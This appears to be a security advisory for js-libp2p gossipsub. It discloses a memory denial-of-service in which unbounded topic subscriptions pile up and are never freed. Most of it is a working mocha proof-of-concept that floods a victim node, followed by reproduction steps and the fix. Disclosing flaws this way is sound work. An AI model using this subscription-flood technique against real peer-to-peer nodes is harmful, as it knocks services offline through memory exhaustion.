GHSA-4f8r-922h-2vgv

export const defaultDecodeRpcLimits: DecodeRPCLimits = { maxSubscriptions: Infinity, // <- no decode-level cap // ... }

let topicSet = this.topics.get(topic) if (topicSet == null) { topicSet = new Set() this.topics.set(topic, topicSet) // new entry per unique topic, no count guard } topicSet.add(from.toString())

for (const peers of this.topics.values()) { peers.delete(id) // empty Set is NOT removed from this.topics }

$ git clone https://github.com/libp2p/js-libp2p.git $ cd js-libp2p $ npm install $ cd packages/gossipsub $ npx aegir build $ node --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.js' --timeout 60000

/* eslint-env mocha */ import { stop } from '@libp2p/interface' import assert from 'node:assert' import { performance } from 'node:perf_hooks' import { RPC } from '../src/message/rpc.js' import { createComponents, connectPubsubNodes } from './utils/create-pubsub.js' import type { GossipSubAndComponents } from './utils/create-pubsub.js' // Number of unique topics per attack RPC (for direct injection tests). // Chosen to demonstrate impact without LP-framing; the ENCODE test shows // how many actually fit in one 4 MB frame. const UNIQUE_TOPICS_PER_RPC = 349_000 // Build a protobuf-encoded RPC with N unique SUBSCRIBE entries. // Uses minimal 2-char topic strings ("00".."zz") to maximise packing. // SubOpts(subscribe=true, topic=2chars): 2 + (2+2) = 6 bytes per entry. // Outer RPC field: tag+len ≈ 2 bytes -> ~8 bytes total per subscription. // 4 MB / 8 bytes ≈ 524K subscriptions per frame. function buildSubscriptionFloodRpc (count: number): Uint8Array { const subscriptions = Array.from({ length: count }, (_, i) => ({ subscribe: true, // Sequential 6-char decimal topics: short but still unique topic: i.toString().padStart(6, '0') })) return RPC.encode({ subscriptions, messages: [], control: undefined }) } // Binary-search the exact number of unique 6-char topics that fit in 4 MB. function maxTopicsIn4MB (): number { const MAX_LP_BYTES = 4 * 1024 * 1024 let lo = 1; let hi = 600_000 while (lo < hi) { const mid = (lo + hi + 1) >> 1 if (buildSubscriptionFloodRpc(mid).byteLength <= MAX_LP_BYTES) { lo = mid } else { hi = mid - 1 } } return lo } describe('PoC: Memory DoS via subscription flood of unique topics', function () { this.timeout(60_000) let victim: GossipSubAndComponents let attacker: GossipSubAndComponents beforeEach(async () => { ;[victim, attacker] = await Promise.all([ createComponents({ init: { allowPublishToZeroTopicPeers: true } }), createComponents({ init: { allowPublishToZeroTopicPeers: true } }) ]) await connectPubsubNodes(victim, attacker) }) afterEach(async () => { await stop( victim.pubsub, attacker.pubsub, ...Object.values(victim.components), ...Object.values(attacker.components) ) }) it('FLOOD: unique topic subscriptions accumulate unboundedly in this.topics', () => { const victimPubsub = victim.pubsub as any const attackerIdStr = attacker.components.peerId.toString() const topicsBefore = victimPubsub.topics.size as number const heapBefore = process.memoryUsage().heapUsed // Simulate one round of subscription flood: inject UNIQUE_TOPICS_PER_RPC // unique topics directly via handleReceivedSubscription (the exact function // called synchronously from handleReceivedRpc for each decoded SubOpts entry). const t0 = performance.now() for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) { victimPubsub.handleReceivedSubscription( { toString: () => attackerIdStr } as any, `poc-sub-flood-${i.toString().padStart(6, '0')}`, true ) } const elapsed = performance.now() - t0 const topicsAfter = victimPubsub.topics.size as number const heapAfterBytes = process.memoryUsage().heapUsed const heapGrowthMB = (heapAfterBytes - heapBefore) / (1024 * 1024) const newTopics = topicsAfter - topicsBefore console.log(`\n[PoC] Unique topics injected: ${UNIQUE_TOPICS_PER_RPC.toLocaleString()}`) console.log(`[PoC] this.topics.size: ${topicsBefore} -> ${topicsAfter} (grew by ${newTopics.toLocaleString()})`) console.log(`[PoC] Heap growth (approx): ${heapGrowthMB.toFixed(0)} MB`) console.log(`[PoC] Time to process: ${elapsed.toFixed(0)} ms (event-loop blocked)`) console.log(`[PoC] Amplification: ${(heapGrowthMB / 4).toFixed(1)}x (MB heap per MB of attacker traffic)`) // All unique topics must be present in the map — no dedup for unique strings assert.strictEqual(newTopics, UNIQUE_TOPICS_PER_RPC, `expected this.topics to grow by ${UNIQUE_TOPICS_PER_RPC}, grew by ${newTopics}`) // Must be non-trivial heap growth assert.ok(heapGrowthMB > 20, `expected >20 MB heap growth from ${UNIQUE_TOPICS_PER_RPC} unique topics, got ${heapGrowthMB.toFixed(0)} MB`) }) it('PERSIST: empty Sets remain in this.topics after peer disconnect (no GC)', () => { const victimPubsub = victim.pubsub as any const attackerIdStr = attacker.components.peerId.toString() // Flood with unique topics for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) { victimPubsub.handleReceivedSubscription( { toString: () => attackerIdStr } as any, `poc-persist-${i.toString().padStart(6, '0')}`, true ) } const topicsBeforeDisconnect = victimPubsub.topics.size as number // Simulate peer disconnect, this removes the peer ID from each Set but // does NOT delete empty Sets from this.topics. const tDisconnect = performance.now() victimPubsub.removePeer(attacker.components.peerId) const disconnectMs = performance.now() - tDisconnect const topicsAfterDisconnect = victimPubsub.topics.size as number console.log(`\n[PoC] this.topics.size before disconnect: ${topicsBeforeDisconnect.toLocaleString()}`) console.log(`[PoC] this.topics.size after disconnect: ${topicsAfterDisconnect.toLocaleString()}`) console.log(`[PoC] removePeer() took: ${disconnectMs.toFixed(0)} ms (synchronous O(topics.size) scan)`) console.log(`[PoC] Empty Sets retained: ${topicsAfterDisconnect.toLocaleString()} -> memory not freed`) // Topics Map is unchanged in SIZE — empty Sets persist assert.strictEqual(topicsAfterDisconnect, topicsBeforeDisconnect, `this.topics.size should be unchanged after disconnect (empty Sets persist); ` + `was ${topicsBeforeDisconnect}, now ${topicsAfterDisconnect}`) // removePeer O(N) scan should take non-trivial time with 349K entries assert.ok(disconnectMs > 5, `expected removePeer to take >5ms scanning ${topicsBeforeDisconnect} topics, got ${disconnectMs.toFixed(0)} ms`) // Verify Sets are actually empty (peer removed from each) let emptyCount = 0 for (const [, peers] of victimPubsub.topics) { if ((peers as Set<string>).size === 0) emptyCount++ } assert.ok(emptyCount >= UNIQUE_TOPICS_PER_RPC, `expected ≥${UNIQUE_TOPICS_PER_RPC} empty Sets after disconnect, found ${emptyCount}`) }) it('ENCODE: subscription flood RPC fits within 4 MB LP frame: confirms no LP-level protection', function () { this.timeout(30_000) const MAX_LP_BYTES = 4 * 1024 * 1024 // Find exact maximum with binary search const maxCount = maxTopicsIn4MB() const rpc = buildSubscriptionFloodRpc(maxCount) const ampRatio = (maxCount * 260 / (1024 * 1024)) / 4 console.log(`\n[PoC] Max subscriptions in 4 MB frame: ${maxCount.toLocaleString()}`) console.log(`[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`) console.log(`[PoC] LP frame limit: ${(MAX_LP_BYTES / (1024 * 1024)).toFixed(0)} MB`) console.log(`[PoC] Fits in one frame: ${rpc.byteLength <= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'}`) console.log(`[PoC] defaultDecodeRpcLimits.maxSubscriptions = Infinity (no decode-level cap)`) console.log(`[PoC] Heap growth per 4 MB sent: ~${Math.round(maxCount * 260 / (1024 * 1024))} MB (${ampRatio.toFixed(1)}x amplification)`) assert.ok(rpc.byteLength <= MAX_LP_BYTES, `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default — confirms no LP-level protection`) assert.ok(maxCount > 100_000, `expected >100K subscriptions per 4 MB frame, got ${maxCount}`) }) })

// handleReceivedSubscription } else { topicSet.delete(from.toString()) if (topicSet.size === 0) this.topics.delete(topic) } // removePeer for (const [topic, peers] of this.topics) { peers.delete(id) if (peers.size === 0) this.topics.delete(topic) }

this.topics.clear()